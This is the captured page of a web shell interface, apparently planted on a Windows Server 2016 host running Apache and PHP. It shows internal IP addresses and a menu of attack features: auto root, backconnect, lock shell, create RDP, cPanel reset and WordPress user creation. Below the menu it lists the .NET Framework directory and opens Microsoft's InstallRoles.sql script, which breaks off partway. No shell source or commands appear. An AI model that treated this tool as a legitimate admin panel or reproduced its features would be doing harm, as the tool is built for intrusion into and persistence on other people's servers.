Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
Windows /
Microsoft.NET /
Framework64 /
v4.0.30319 /
[ HOME SHELL ]
Name
Size
Permission
Action
1033
[ DIR ]
drwxrwxrwx
ASP.NETWebAdminFiles
[ DIR ]
drwxrwxrwx
Config
[ DIR ]
drwxrwxrwx
MSBuild
[ DIR ]
drwxrwxrwx
MUI
[ DIR ]
drwxrwxrwx
NativeImages
[ DIR ]
drwxrwxrwx
SQL
[ DIR ]
drwxrwxrwx
WPF
[ DIR ]
drwxrwxrwx
en-US
[ DIR ]
drwxrwxrwx
Accessibility.dll
35.17
KB
-rw-rw-rw-
AddInProcess.exe
41.18
KB
-rwxrwxrwx
AddInProcess.exe.config
161
B
-rw-rw-rw-
AddInProcess32.exe
41.19
KB
-rwxrwxrwx
AddInProcess32.exe.config
161
B
-rw-rw-rw-
AddInUtil.exe
41.66
KB
-rwxrwxrwx
AddInUtil.exe.config
161
B
-rw-rw-rw-
AdoNetDiag.dll
191.17
KB
-rw-rw-rw-
AppLaunch.exe
117.16
KB
-rwxrwxrwx
Aspnet.config
437
B
-rw-rw-rw-
Aspnet_perf.dll
39.43
KB
-rw-rw-rw-
CLR-ETW.man
313.6
KB
-rw-rw-rw-
CORPerfMonExt.dll
152.68
KB
-rw-rw-rw-
CasPol.exe
104.15
KB
-rwxrwxrwx
ComSvcConfig.exe
169.68
KB
-rwxrwxrwx
Culture.dll
62.66
KB
-rw-rw-rw-
CustomMarshalers.dll
103.2
KB
-rw-rw-rw-
DataSvcUtil.exe
69.67
KB
-rwxrwxrwx
DataSvcUtil.exe.config
156
B
-rw-rw-rw-
EdmGen.exe
94.65
KB
-rwxrwxrwx
EventLogMessages.dll
786.7
KB
-rw-rw-rw-
FXUpdate.dat
0
B
-rw-rw-rw-
FileTracker.dll
262.67
KB
-rw-rw-rw-
ISymWrapper.dll
71.17
KB
-rw-rw-rw-
InstallCommon.sql
24.03
KB
-rw-rw-rw-
InstallMembership.sql
54.93
KB
-rw-rw-rw-
InstallPersistSqlState.sql
53.37
KB
-rw-rw-rw-
InstallPersonalization.sql
34.13
KB
-rw-rw-rw-
InstallProfile.SQL
20.4
KB
-rw-rw-rw-
InstallRoles.sql
33.46
KB
-rw-rw-rw-
InstallSqlState.sql
53.15
KB
-rw-rw-rw-
InstallSqlStateTemplate.sql
54.92
KB
-rw-rw-rw-
InstallUtil.exe
39.17
KB
-rwxrwxrwx
InstallUtil.exe.config
182
B
-rw-rw-rw-
InstallUtilLib.dll
74.69
KB
-rw-rw-rw-
InstallWebEventSqlProvider.sql
6.31
KB
-rw-rw-rw-
MSBuild.exe
252.16
KB
-rwxrwxrwx
MSBuild.rsp
732
B
-rw-rw-rw-
Microsoft.Activities.Build.dll
52.23
KB
-rw-rw-rw-
Microsoft.Build.Conversion.v4....
83.25
KB
-rw-rw-rw-
Microsoft.Build.Engine.dll
643.72
KB
-rw-rw-rw-
Microsoft.Build.Framework.dll
97.73
KB
-rw-rw-rw-
Microsoft.Build.Tasks.v4.0.dll
1.12
MB
-rw-rw-rw-
Microsoft.Build.Utilities.v4.0...
263.24
KB
-rw-rw-rw-
Microsoft.Build.dll
1.35
MB
-rw-rw-rw-
Microsoft.Build.xsd
2.3
KB
-rw-rw-rw-
Microsoft.CSharp.dll
475.19
KB
-rw-rw-rw-
Microsoft.CSharp.targets
23.06
KB
-rw-rw-rw-
Microsoft.Common.OverrideTasks
6.15
KB
-rw-rw-rw-
Microsoft.Common.Tasks
14.55
KB
-rw-rw-rw-
Microsoft.Common.targets
256.39
KB
-rw-rw-rw-
Microsoft.Data.Entity.Build.Ta...
51.26
KB
-rw-rw-rw-
Microsoft.Data.Entity.targets
6.35
KB
-rw-rw-rw-
Microsoft.Internal.Tasks.Dataf...
180.76
KB
-rw-rw-rw-
Microsoft.JScript.dll
736.2
KB
-rw-rw-rw-
Microsoft.JScript.tlb
57.5
KB
-rw-rw-rw-
Microsoft.NETFramework.props
11.68
KB
-rw-rw-rw-
Microsoft.NETFramework.targets
7.99
KB
-rw-rw-rw-
Microsoft.ServiceModel.targets
9.55
KB
-rw-rw-rw-
Microsoft.Transactions.Bridge....
129.76
KB
-rw-rw-rw-
Microsoft.Transactions.Bridge....
386.76
KB
-rw-rw-rw-
Microsoft.VisualBasic.Activiti...
3.76
MB
-rw-rw-rw-
Microsoft.VisualBasic.Compatib...
114.29
KB
-rw-rw-rw-
Microsoft.VisualBasic.Compatib...
486.27
KB
-rw-rw-rw-
Microsoft.VisualBasic.dll
625.22
KB
-rw-rw-rw-
Microsoft.VisualBasic.targets
22.78
KB
-rw-rw-rw-
Microsoft.VisualC.Dll
29.69
KB
-rw-rw-rw-
Microsoft.VisualC.STLCLR.dll
49.73
KB
-rw-rw-rw-
Microsoft.WinFx.targets
41.22
KB
-rw-rw-rw-
Microsoft.Windows.ApplicationS...
707.36
KB
-rw-rw-rw-
Microsoft.Windows.ApplicationS...
137.38
KB
-rw-rw-rw-
Microsoft.Workflow.Compiler.ex...
32.23
KB
-rwxrwxrwx
Microsoft.Workflow.Compiler.ex...
144
B
-rw-rw-rw-
Microsoft.WorkflowBuildExtensi...
7.36
KB
-rw-rw-rw-
Microsoft.Xaml.targets
19.43
KB
-rw-rw-rw-
MmcAspExt.dll
112.16
KB
-rw-rw-rw-
PerfCounter.dll
254.17
KB
-rw-rw-rw-
RegAsm.exe
62.16
KB
-rwxrwxrwx
RegSvcs.exe
43.66
KB
-rwxrwxrwx
SMDiagnostics.dll
67.47
KB
-rw-rw-rw-
SMSvcHost.exe
135.8
KB
-rwxrwxrwx
SMSvcHost.exe.config
2.21
KB
-rw-rw-rw-
SOS.dll
845.52
KB
-rw-rw-rw-
SbsNclPerf.dll
23.66
KB
-rw-rw-rw-
ServiceModelEvents.dll
18.7
KB
-rw-rw-rw-
ServiceModelInstallRC.dll
18.71
KB
-rw-rw-rw-
ServiceModelPerformanceCounter...
100.25
KB
-rw-rw-rw-
ServiceModelPerformanceCounter...
126.02
KB
-rw-rw-rw-
ServiceModelReg.exe
264.19
KB
-rwxrwxrwx
ServiceModelRegUI.dll
18.7
KB
-rw-rw-rw-
ServiceMonikerSupport.dll
24.94
KB
-rw-rw-rw-
System.Activities.Core.Present...
690.77
KB
-rw-rw-rw-
System.Activities.DurableInsta...
138.8
KB
-rw-rw-rw-
System.Activities.Presentation...
2
MB
-rw-rw-rw-
System.Activities.dll
1.46
MB
-rw-rw-rw-
System.AddIn.Contract.dll
51.21
KB
-rw-rw-rw-
System.AddIn.dll
159.18
KB
-rw-rw-rw-
System.Collections.Concurrent....
28.77
KB
-rw-rw-rw-
System.Collections.dll
29.2
KB
-rw-rw-rw-
System.ComponentModel.Annotati...
29.79
KB
-rw-rw-rw-
System.ComponentModel.Composit...
298.29
KB
-rw-rw-rw-
System.ComponentModel.DataAnno...
123.31
KB
-rw-rw-rw-
System.ComponentModel.EventBas...
28.81
KB
-rw-rw-rw-
System.ComponentModel.dll
28.72
KB
-rw-rw-rw-
System.Configuration.Install.d...
100.26
KB
-rw-rw-rw-
System.Configuration.dll
410.66
KB
-rw-rw-rw-
System.Core.dll
1.48
MB
-rw-rw-rw-
System.Data.DataSetExtensions....
70.27
KB
-rw-rw-rw-
System.Data.Entity.Design.dll
1.03
MB
-rw-rw-rw-
System.Data.Entity.dll
3.85
MB
-rw-rw-rw-
System.Data.Linq.dll
673.19
KB
-rw-rw-rw-
System.Data.OracleClient.dll
500.23
KB
-rw-rw-rw-
System.Data.Services.Client.dl...
434.23
KB
-rw-rw-rw-
System.Data.Services.Design.dl...
170.73
KB
-rw-rw-rw-
System.Data.Services.dll
657.21
KB
-rw-rw-rw-
System.Data.SqlXml.dll
717.19
KB
-rw-rw-rw-
System.Data.dll
3.37
MB
-rw-rw-rw-
System.Deployment.dll
857.89
KB
-rw-rw-rw-
System.Design.dll
4.78
MB
-rw-rw-rw-
System.Device.dll
62.68
KB
-rw-rw-rw-
System.Diagnostics.Contracts.d...
29.26
KB
-rw-rw-rw-
System.Diagnostics.Debug.dll
28.73
KB
-rw-rw-rw-
System.Diagnostics.Tools.dll
28.73
KB
-rw-rw-rw-
System.Diagnostics.Tracing.dll
29.24
KB
-rw-rw-rw-
System.DirectoryServices.Accou...
289.27
KB
-rw-rw-rw-
System.DirectoryServices.Proto...
196.8
KB
-rw-rw-rw-
System.DirectoryServices.dll
408.34
KB
-rw-rw-rw-
System.Drawing.Design.dll
110.72
KB
-rw-rw-rw-
System.Drawing.dll
583.18
KB
-rw-rw-rw-
System.Drawing.tlb
8.5
KB
-rw-rw-rw-
System.Dynamic.Runtime.dll
29.23
KB
-rw-rw-rw-
System.Dynamic.dll
127.68
KB
-rw-rw-rw-
System.EnterpriseServices.Thun...
105.25
KB
-rw-rw-rw-
System.EnterpriseServices.Wrap...
124
KB
-rw-rw-rw-
System.EnterpriseServices.dll
235.73
KB
-rw-rw-rw-
System.EnterpriseServices.tlb
33.5
KB
-rw-rw-rw-
System.Globalization.dll
28.71
KB
-rw-rw-rw-
System.IO.Compression.FileSyst...
32.26
KB
-rw-rw-rw-
System.IO.Compression.dll
70.22
KB
-rw-rw-rw-
System.IO.Log.dll
130.68
KB
-rw-rw-rw-
System.IO.dll
28.14
KB
-rw-rw-rw-
System.IdentityModel.Selectors...
141.27
KB
-rw-rw-rw-
System.IdentityModel.Services....
187.94
KB
-rw-rw-rw-
System.IdentityModel.dll
1.04
MB
-rw-rw-rw-
System.Linq.Expressions.dll
30.73
KB
-rw-rw-rw-
System.Linq.Parallel.dll
28.7
KB
-rw-rw-rw-
System.Linq.Queryable.dll
28.72
KB
-rw-rw-rw-
System.Linq.dll
28.66
KB
-rw-rw-rw-
System.Management.Instrumentat...
142.26
KB
-rw-rw-rw-
System.Management.dll
405.7
KB
-rw-rw-rw-
System.Messaging.dll
268.19
KB
-rw-rw-rw-
System.Net.Http.Rtc.dll
28.7
KB
-rw-rw-rw-
System.Net.Http.WebRequest.dll
49.75
KB
-rw-rw-rw-
System.Net.Http.dll
198.58
KB
-rw-rw-rw-
System.Net.NetworkInformation....
29.77
KB
-rw-rw-rw-
System.Net.Primitives.dll
29.22
KB
-rw-rw-rw-
System.Net.Requests.dll
28.7
KB
-rw-rw-rw-
System.Net.WebHeaderCollection...
28.27
KB
-rw-rw-rw-
System.Net.dll
250.65
KB
-rw-rw-rw-
System.Numerics.Vectors.dll
30.73
KB
-rw-rw-rw-
System.Numerics.dll
135.18
KB
-rw-rw-rw-
System.ObjectModel.dll
29.2
KB
-rw-rw-rw-
System.Reflection.Emit.ILGener...
28.8
KB
-rw-rw-rw-
System.Reflection.Emit.Lightwe...
28.8
KB
-rw-rw-rw-
System.Reflection.Emit.dll
28.73
KB
-rw-rw-rw-
System.Reflection.Extensions.d...
28.76
KB
-rw-rw-rw-
System.Reflection.Primitives.d...
28.76
KB
-rw-rw-rw-
System.Reflection.context.dll
105.74
KB
-rw-rw-rw-
System.Reflection.dll
29.2
KB
-rw-rw-rw-
System.Resources.ResourceManag...
28.78
KB
-rw-rw-rw-
System.Runtime.Caching.dll
106.37
KB
-rw-rw-rw-
System.Runtime.DurableInstanci...
168.28
KB
-rw-rw-rw-
System.Runtime.Extensions.dll
28.74
KB
-rw-rw-rw-
System.Runtime.Handles.dll
28.72
KB
-rw-rw-rw-
System.Runtime.InteropServices...
28.87
KB
-rw-rw-rw-
System.Runtime.InteropServices...
31.77
KB
-rw-rw-rw-
System.Runtime.Numerics.dll
28.73
KB
-rw-rw-rw-
System.Runtime.Remoting.dll
334.97
KB
-rw-rw-rw-
System.Runtime.Serialization.F...
138.36
KB
-rw-rw-rw-
System.Runtime.Serialization.J...
28.79
KB
-rw-rw-rw-
System.Runtime.Serialization.P...
28.83
KB
-rw-rw-rw-
System.Runtime.Serialization.X...
28.78
KB
-rw-rw-rw-
System.Runtime.Serialization.d...
1
MB
-rw-rw-rw-
System.Runtime.WindowsRuntime....
70.81
KB
-rw-rw-rw-
System.Runtime.WindowsRuntime....
148.27
KB
-rw-rw-rw-
System.Runtime.dll
36.67
KB
-rw-rw-rw-
System.Security.Principal.dll
28.74
KB
-rw-rw-rw-
System.Security.dll
311.24
KB
-rw-rw-rw-
System.ServiceModel.Activation...
197.74
KB
-rw-rw-rw-
System.ServiceModel.Activities...
548.24
KB
-rw-rw-rw-
System.ServiceModel.Channels.d...
148.53
KB
-rw-rw-rw-
System.ServiceModel.Discovery....
295.42
KB
-rw-rw-rw-
System.ServiceModel.Duplex.dll
28.75
KB
-rw-rw-rw-
System.ServiceModel.Http.dll
29.23
KB
-rw-rw-rw-
System.ServiceModel.Internals....
249.96
KB
-rw-rw-rw-
System.ServiceModel.NetTcp.dll
28.74
KB
-rw-rw-rw-
System.ServiceModel.Primitives...
33.27
KB
-rw-rw-rw-
System.ServiceModel.Routing.dl...
127.73
KB
-rw-rw-rw-
System.ServiceModel.Security.d...
29.26
KB
-rw-rw-rw-
System.ServiceModel.ServiceMon...
22.77
KB
-rw-rw-rw-
System.ServiceModel.WasHosting...
33.53
KB
-rw-rw-rw-
System.ServiceModel.Web.dll
320.73
KB
-rw-rw-rw-
System.ServiceModel.dll
6.03
MB
-rw-rw-rw-
System.ServiceProcess.dll
131.72
KB
-rw-rw-rw-
System.Text.Encoding.Extension...
28.27
KB
-rw-rw-rw-
System.Text.Encoding.dll
28.71
KB
-rw-rw-rw-
System.Text.RegularExpressions...
28.77
KB
-rw-rw-rw-
System.Threading.Tasks.Paralle...
28.77
KB
-rw-rw-rw-
System.Threading.Tasks.dll
29.23
KB
-rw-rw-rw-
System.Threading.Timer.dll
28.73
KB
-rw-rw-rw-
System.Threading.dll
29.19
KB
-rw-rw-rw-
System.Transactions.dll
303.76
KB
-rw-rw-rw-
System.Web.Abstractions.dll
22.38
KB
-rw-rw-rw-
System.Web.ApplicationServices...
64.49
KB
-rw-rw-rw-
System.Web.DataVisualization.D...
103.42
KB
-rw-rw-rw-
System.Web.DataVisualization.d...
1.62
MB
-rw-rw-rw-
System.Web.DynamicData.Design....
43.9
KB
-rw-rw-rw-
System.Web.DynamicData.dll
242.37
KB
-rw-rw-rw-
System.Web.Entity.Design.dll
169.23
KB
-rw-rw-rw-
System.Web.Entity.dll
161.7
KB
-rw-rw-rw-
System.Web.Extensions.Design.d...
344.4
KB
-rw-rw-rw-
System.Web.Extensions.dll
1.76
MB
-rw-rw-rw-
System.Web.Mobile.dll
811.2
KB
-rw-rw-rw-
System.Web.RegularExpressions....
103.24
KB
-rw-rw-rw-
System.Web.Routing.dll
21.85
KB
-rw-rw-rw-
System.Web.Services.dll
826.7
KB
-rw-rw-rw-
System.Web.dll
5.15
MB
-rw-rw-rw-
System.Web.tlb
7
KB
-rw-rw-rw-
System.Windows.Forms.DataVisua...
80.46
KB
-rw-rw-rw-
System.Windows.Forms.DataVisua...
1.63
MB
-rw-rw-rw-
System.Windows.Forms.dll
4.99
MB
-rw-rw-rw-
System.Windows.Forms.tlb
84.5
KB
-rw-rw-rw-
System.Windows.dll
30.68
KB
-rw-rw-rw-
System.Workflow.Activities.dll
1
MB
-rw-rw-rw-
System.Workflow.ComponentModel...
1.48
MB
-rw-rw-rw-
System.Workflow.Runtime.dll
487.77
KB
-rw-rw-rw-
System.WorkflowServices.dll
440.22
KB
-rw-rw-rw-
System.XML.dll
2.55
MB
-rw-rw-rw-
System.Xaml.Hosting.dll
41.7
KB
-rw-rw-rw-
System.Xaml.dll
622.37
KB
-rw-rw-rw-
System.Xml.Linq.dll
159.68
KB
-rw-rw-rw-
System.Xml.ReaderWriter.dll
29.23
KB
-rw-rw-rw-
System.Xml.Serialization.dll
44.73
KB
-rw-rw-rw-
System.Xml.XDocument.dll
28.71
KB
-rw-rw-rw-
System.Xml.XmlSerializer.dll
29.23
KB
-rw-rw-rw-
System.dll
3.4
MB
-rw-rw-rw-
System.tlb
70.5
KB
-rw-rw-rw-
TLBREF.DLL
131.16
KB
-rw-rw-rw-
ThirdPartyNotices.txt
19.85
KB
-rw-rw-rw-
UnInstallProfile.SQL
4.65
KB
-rw-rw-rw-
UninstallCommon.sql
3.8
KB
-rw-rw-rw-
UninstallMembership.sql
6.75
KB
-rw-rw-rw-
UninstallPersistSqlState.sql
9.96
KB
-rw-rw-rw-
UninstallPersonalization.sql
7.31
KB
-rw-rw-rw-
UninstallRoles.sql
5.73
KB
-rw-rw-rw-
UninstallSqlState.sql
9.46
KB
-rw-rw-rw-
UninstallSqlStateTemplate.sql
11.52
KB
-rw-rw-rw-
UninstallWebEventSqlProvider.s...
2.94
KB
-rw-rw-rw-
WMINet_Utils.dll
183.68
KB
-rw-rw-rw-
Workflow.Targets
6.96
KB
-rw-rw-rw-
Workflow.VisualBasic.Targets
8.39
KB
-rw-rw-rw-
WorkflowServiceHostPerformance...
99.27
KB
-rw-rw-rw-
WorkflowServiceHostPerformance...
42.27
KB
-rw-rw-rw-
WsatConfig.exe
149.17
KB
-rwxrwxrwx
XPThemes.manifest
474
B
-rw-rw-rw-
XamlBuildTask.dll
129.18
KB
-rw-rw-rw-
XsdBuildTask.dll
66.18
KB
-rw-rw-rw-
adonetdiag.mof
7.35
KB
-rw-rw-rw-
adonetdiag.mof.uninstall
1.95
KB
-rw-rw-rw-
alink.dll
153.65
KB
-rw-rw-rw-
applaunch.exe.config
281
B
-rw-rw-rw-
aspnet_compiler.exe
53.69
KB
-rwxrwxrwx
aspnet_filter.dll
37.68
KB
-rw-rw-rw-
aspnet_isapi.dll
26.18
KB
-rw-rw-rw-
aspnet_perf.h
7.01
KB
-rw-rw-rw-
aspnet_perf.ini
974.12
KB
-rw-rw-rw-
aspnet_perf2.ini
972.21
KB
-rw-rw-rw-
aspnet_rc.dll
89.16
KB
-rw-rw-rw-
aspnet_regbrowsers.exe
37.95
KB
-rwxrwxrwx
aspnet_regiis.exe
38.05
KB
-rwxrwxrwx
aspnet_regsql.exe
118.05
KB
-rwxrwxrwx
aspnet_state.exe
51.68
KB
-rwxrwxrwx
aspnet_state_perf.h
318
B
-rw-rw-rw-
aspnet_state_perf.ini
41.99
KB
-rw-rw-rw-
aspnet_wp.exe
44.05
KB
-rwxrwxrwx
caspol.exe.config
368
B
-rw-rw-rw-
clr.dll
10.2
MB
-rw-rw-rw-
clrcompression.dll
136.92
KB
-rw-rw-rw-
clretwrc.dll
231.66
KB
-rw-rw-rw-
clrjit.dll
1.16
MB
-rw-rw-rw-
compatjit.dll
1.2
MB
-rw-rw-rw-
csc.exe
2.61
MB
-rwxrwxrwx
csc.exe.config
182
B
-rw-rw-rw-
csc.rsp
1.3
KB
-rw-rw-rw-
cvtres.exe
46.17
KB
-rwxrwxrwx
cvtres.exe.config
281
B
-rw-rw-rw-
default.win32manifest
490
B
-rw-rw-rw-
dfdll.dll
181.4
KB
-rw-rw-rw-
dfsvc.exe
23.65
KB
-rwxrwxrwx
dfsvc.exe.config
167
B
-rw-rw-rw-
diasymreader.dll
1.39
MB
-rw-rw-rw-
dv_aspnetmmc.chm
112.43
KB
-rw-rw-rw-
fusion.dll
109.16
KB
-rw-rw-rw-
ilasm.exe
357.15
KB
-rwxrwxrwx
ilasm.exe.config
223
B
-rw-rw-rw-
jsc.exe
45.64
KB
-rwxrwxrwx
jsc.exe.config
281
B
-rw-rw-rw-
locale.nlp
409.8
KB
-rw-rw-rw-
msbuild.exe.config
1.69
KB
-rw-rw-rw-
mscordacwks.dll
1.75
MB
-rw-rw-rw-
mscordbi.dll
1.54
MB
-rw-rw-rw-
mscoree.tlb
31
KB
-rw-rw-rw-
mscoreei.dll
616.48
KB
-rw-rw-rw-
mscoreeis.dll
33.16
KB
-rw-rw-rw-
mscorlib.dll
5.23
MB
-rw-rw-rw-
mscorlib.tlb
505.53
KB
-rw-rw-rw-
mscorpe.dll
98.66
KB
-rw-rw-rw-
mscorpehost.dll
179.42
KB
-rw-rw-rw-
mscorrc.dll
389.66
KB
-rw-rw-rw-
mscorsecimpl.dll
128.18
KB
-rw-rw-rw-
mscorsn.dll
27.16
KB
-rw-rw-rw-
mscorsvc.dll
525.38
KB
-rw-rw-rw-
mscorsvw.exe
118.92
KB
-rwxrwxrwx
ngen.exe
163.46
KB
-rwxrwxrwx
ngen.log
221.04
KB
-rw-rw-rw-
ngen.old.log
1
MB
-rw-rw-rw-
ngentask.exe
77.45
KB
-rwxrwxrwx
ngentasklauncher.dll
28.69
KB
-rw-rw-rw-
normidna.nlp
57.95
KB
-rw-rw-rw-
normnfc.nlp
45.97
KB
-rw-rw-rw-
normnfd.nlp
39.62
KB
-rw-rw-rw-
normnfkc.nlp
66.22
KB
-rw-rw-rw-
normnfkd.nlp
60.27
KB
-rw-rw-rw-
peverify.dll
249.03
KB
-rw-rw-rw-
regasm.exe.config
281
B
-rw-rw-rw-
regsvcs.exe.config
223
B
-rw-rw-rw-
sysglobl.dll
129.14
KB
-rw-rw-rw-
system.componentmodel.composit...
61.88
KB
-rw-rw-rw-
vbc.exe
3.07
MB
-rwxrwxrwx
vbc.exe.config
182
B
-rw-rw-rw-
vbc.rsp
1.43
KB
-rw-rw-rw-
webengine.dll
19.92
KB
-rw-rw-rw-
webengine4.dll
645.92
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : InstallRoles.sql
/**********************************************************************/ /* InstallRoles.SQL */ /* */ /* Installs the tables, triggers and stored procedures necessary for */ /* supporting the aspnet feature of ASP.Net */ /* */ /* InstallCommon.sql must be run before running this file. */ /* ** Copyright Microsoft, Inc. 2002 ** All Rights Reserved. */ /**********************************************************************/ PRINT '--------------------------------------' PRINT 'Starting execution of InstallRoles.SQL' PRINT '--------------------------------------' GO SET QUOTED_IDENTIFIER OFF -- We don't use quoted identifiers SET ANSI_NULLS ON -- We don't want (NULL = NULL) == TRUE GO SET ANSI_PADDING ON GO SET ANSI_NULL_DFLT_ON ON GO /*************************************************************/ /*************************************************************/ /*************************************************************/ /*************************************************************/ /*************************************************************/ DECLARE @dbname nvarchar(128) SET @dbname = N'aspnetdb' IF (NOT EXISTS (SELECT name FROM master.dbo.sysdatabases WHERE ('[' + name + ']' = @dbname OR name = @dbname))) BEGIN RAISERROR('The database ''%s'' cannot be found. Please run InstallCommon.sql first.', 18, 1, @dbname) END GO USE [aspnetdb] GO IF (NOT EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_Applications') AND (type = 'U'))) BEGIN RAISERROR('The table ''aspnet_Applications'' cannot be found. Please use aspnet_regsql.exe for installing ASP.NET application services.', 18, 1) END IF (NOT EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_Users') AND (type = 'U'))) BEGIN RAISERROR('The table ''aspnet_Users'' cannot be found. Please use aspnet_regsql.exe for installing ASP.NET application services.', 18, 1) END IF (NOT EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_Applications_CreateApplication') AND (type = 'P'))) BEGIN RAISERROR('The stored procedure ''aspnet_Applications_CreateApplication'' cannot be found. Please use aspnet_regsql.exe for installing ASP.NET application services.', 18, 1) END IF (NOT EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_Users_CreateUser') AND (type = 'P'))) BEGIN RAISERROR('The stored procedure ''aspnet_Users_CreateUser'' cannot be found. Please use aspnet_regsql.exe for installing ASP.NET application services.', 18, 1) END IF (NOT EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_Users_DeleteUser') AND (type = 'P'))) BEGIN RAISERROR('The stored procedure ''aspnet_Users_DeleteUser'' cannot be found. Please use aspnet_regsql.exe for installing ASP.NET application services.', 18, 1) END /*************************************************************/ /*************************************************************/ IF (NOT EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_Roles') AND (type = 'U'))) BEGIN PRINT 'Creating the aspnet_Roles table...' CREATE TABLE dbo.aspnet_Roles ( ApplicationId uniqueidentifier NOT NULL FOREIGN KEY REFERENCES dbo.aspnet_Applications(ApplicationId), RoleId uniqueidentifier PRIMARY KEY NONCLUSTERED DEFAULT NEWID(), RoleName nvarchar(256) NOT NULL, LoweredRoleName nvarchar(256) NOT NULL, Description nvarchar(256) ) CREATE UNIQUE CLUSTERED INDEX aspnet_Roles_index1 ON dbo.aspnet_Roles(ApplicationId, LoweredRoleName) END GO /*************************************************************/ /*************************************************************/ IF (NOT EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_UsersInRoles') AND (type = 'U'))) BEGIN PRINT 'Creating the aspnet_UsersInRoles table...' CREATE TABLE dbo.aspnet_UsersInRoles ( UserId uniqueidentifier NOT NULL PRIMARY KEY(UserId, RoleId) FOREIGN KEY REFERENCES dbo.aspnet_Users (UserId), RoleId uniqueidentifier NOT NULL FOREIGN KEY REFERENCES dbo.aspnet_Roles (RoleId)) CREATE INDEX aspnet_UsersInRoles_index ON dbo.aspnet_UsersInRoles(RoleId) END /*************************************************************/ /*************************************************************/ /*************************************************************/ /*************************************************************/ IF (EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_UsersInRoles_IsUserInRole') AND (type = 'P'))) DROP PROCEDURE dbo.aspnet_UsersInRoles_IsUserInRole GO CREATE PROCEDURE dbo.aspnet_UsersInRoles_IsUserInRole @ApplicationName nvarchar(256), @UserName nvarchar(256), @RoleName nvarchar(256) AS BEGIN DECLARE @ApplicationId uniqueidentifier SELECT @ApplicationId = NULL SELECT @ApplicationId = ApplicationId FROM aspnet_Applications WHERE LOWER(@ApplicationName) = LoweredApplicationName IF (@ApplicationId IS NULL) RETURN(2) DECLARE @UserId uniqueidentifier SELECT @UserId = NULL DECLARE @RoleId uniqueidentifier SELECT @RoleId = NULL SELECT @UserId = UserId FROM dbo.aspnet_Users WHERE LoweredUserName = LOWER(@UserName) AND ApplicationId = @ApplicationId IF (@UserId IS NULL) RETURN(2) SELECT @RoleId = RoleId FROM dbo.aspnet_Roles WHERE LoweredRoleName = LOWER(@RoleName) AND ApplicationId = @ApplicationId IF (@RoleId IS NULL) RETURN(3) IF (EXISTS( SELECT * FROM dbo.aspnet_UsersInRoles WHERE UserId = @UserId AND RoleId = @RoleId)) RETURN(1) ELSE RETURN(0) END GO /*************************************************************/ /*************************************************************/ IF (EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_UsersInRoles_GetRolesForUser') AND (type = 'P'))) DROP PROCEDURE dbo.aspnet_UsersInRoles_GetRolesForUser GO CREATE PROCEDURE dbo.aspnet_UsersInRoles_GetRolesForUser @ApplicationName nvarchar(256), @UserName nvarchar(256) AS BEGIN DECLARE @ApplicationId uniqueidentifier SELECT @ApplicationId = NULL SELECT @ApplicationId = ApplicationId FROM aspnet_Applications WHERE LOWER(@ApplicationName) = LoweredApplicationName IF (@ApplicationId IS NULL) RETURN(1) DECLARE @UserId uniqueidentifier SELECT @UserId = NULL SELECT @UserId = UserId FROM dbo.aspnet_Users WHERE LoweredUserName = LOWER(@UserName) AND ApplicationId = @ApplicationId IF (@UserId IS NULL) RETURN(1) SELECT r.RoleName FROM dbo.aspnet_Roles r, dbo.aspnet_UsersInRoles ur WHERE r.RoleId = ur.RoleId AND r.ApplicationId = @ApplicationId AND ur.UserId = @UserId ORDER BY r.RoleName RETURN (0) END GO /*************************************************************/ /*************************************************************/ IF (EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_Roles_CreateRole') AND (type = 'P'))) DROP PROCEDURE dbo.aspnet_Roles_CreateRole GO CREATE PROCEDURE dbo.aspnet_Roles_CreateRole @ApplicationName nvarchar(256), @RoleName nvarchar(256) AS BEGIN DECLARE @ApplicationId uniqueidentifier SELECT @ApplicationId = NULL DECLARE @ErrorCode int SET @ErrorCode = 0 DECLARE @TranStarted bit SET @TranStarted = 0 IF( @@TRANCOUNT = 0 ) BEGIN BEGIN TRANSACTION SET @TranStarted = 1 END ELSE SET @TranStarted = 0 EXEC dbo.aspnet_Applications_CreateApplication @ApplicationName, @ApplicationId OUTPUT IF( @@ERROR <> 0 ) BEGIN SET @ErrorCode = -1 GOTO Cleanup END IF (EXISTS(SELECT RoleId FROM dbo.aspnet_Roles WHERE LoweredRoleName = LOWER(@RoleName) AND ApplicationId = @ApplicationId)) BEGIN SET @ErrorCode = 1 GOTO Cleanup END INSERT INTO dbo.aspnet_Roles (ApplicationId, RoleName, LoweredRoleName) VALUES (@ApplicationId, @RoleName, LOWER(@RoleName)) IF( @@ERROR <> 0 ) BEGIN SET @ErrorCode = -1 GOTO Cleanup END IF( @TranStarted = 1 ) BEGIN SET @TranStarted = 0 COMMIT TRANSACTION END RETURN(0) Cleanup: IF( @TranStarted = 1 ) BEGIN SET @TranStarted = 0 ROLLBACK TRANSACTION END RETURN @ErrorCode END GO /*************************************************************/ /*************************************************************/ IF (EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_Roles_DeleteRole') AND (type = 'P'))) DROP PROCEDURE dbo.aspnet_Roles_DeleteRole GO CREATE PROCEDURE dbo.aspnet_Roles_DeleteRole @ApplicationName nvarchar(256), @RoleName nvarchar(256), @DeleteOnlyIfRoleIsEmpty bit AS BEGIN DECLARE @ApplicationId uniqueidentifier SELECT @ApplicationId = NULL SELECT @ApplicationId = ApplicationId FROM aspnet_Applications WHERE LOWER(@ApplicationName) = 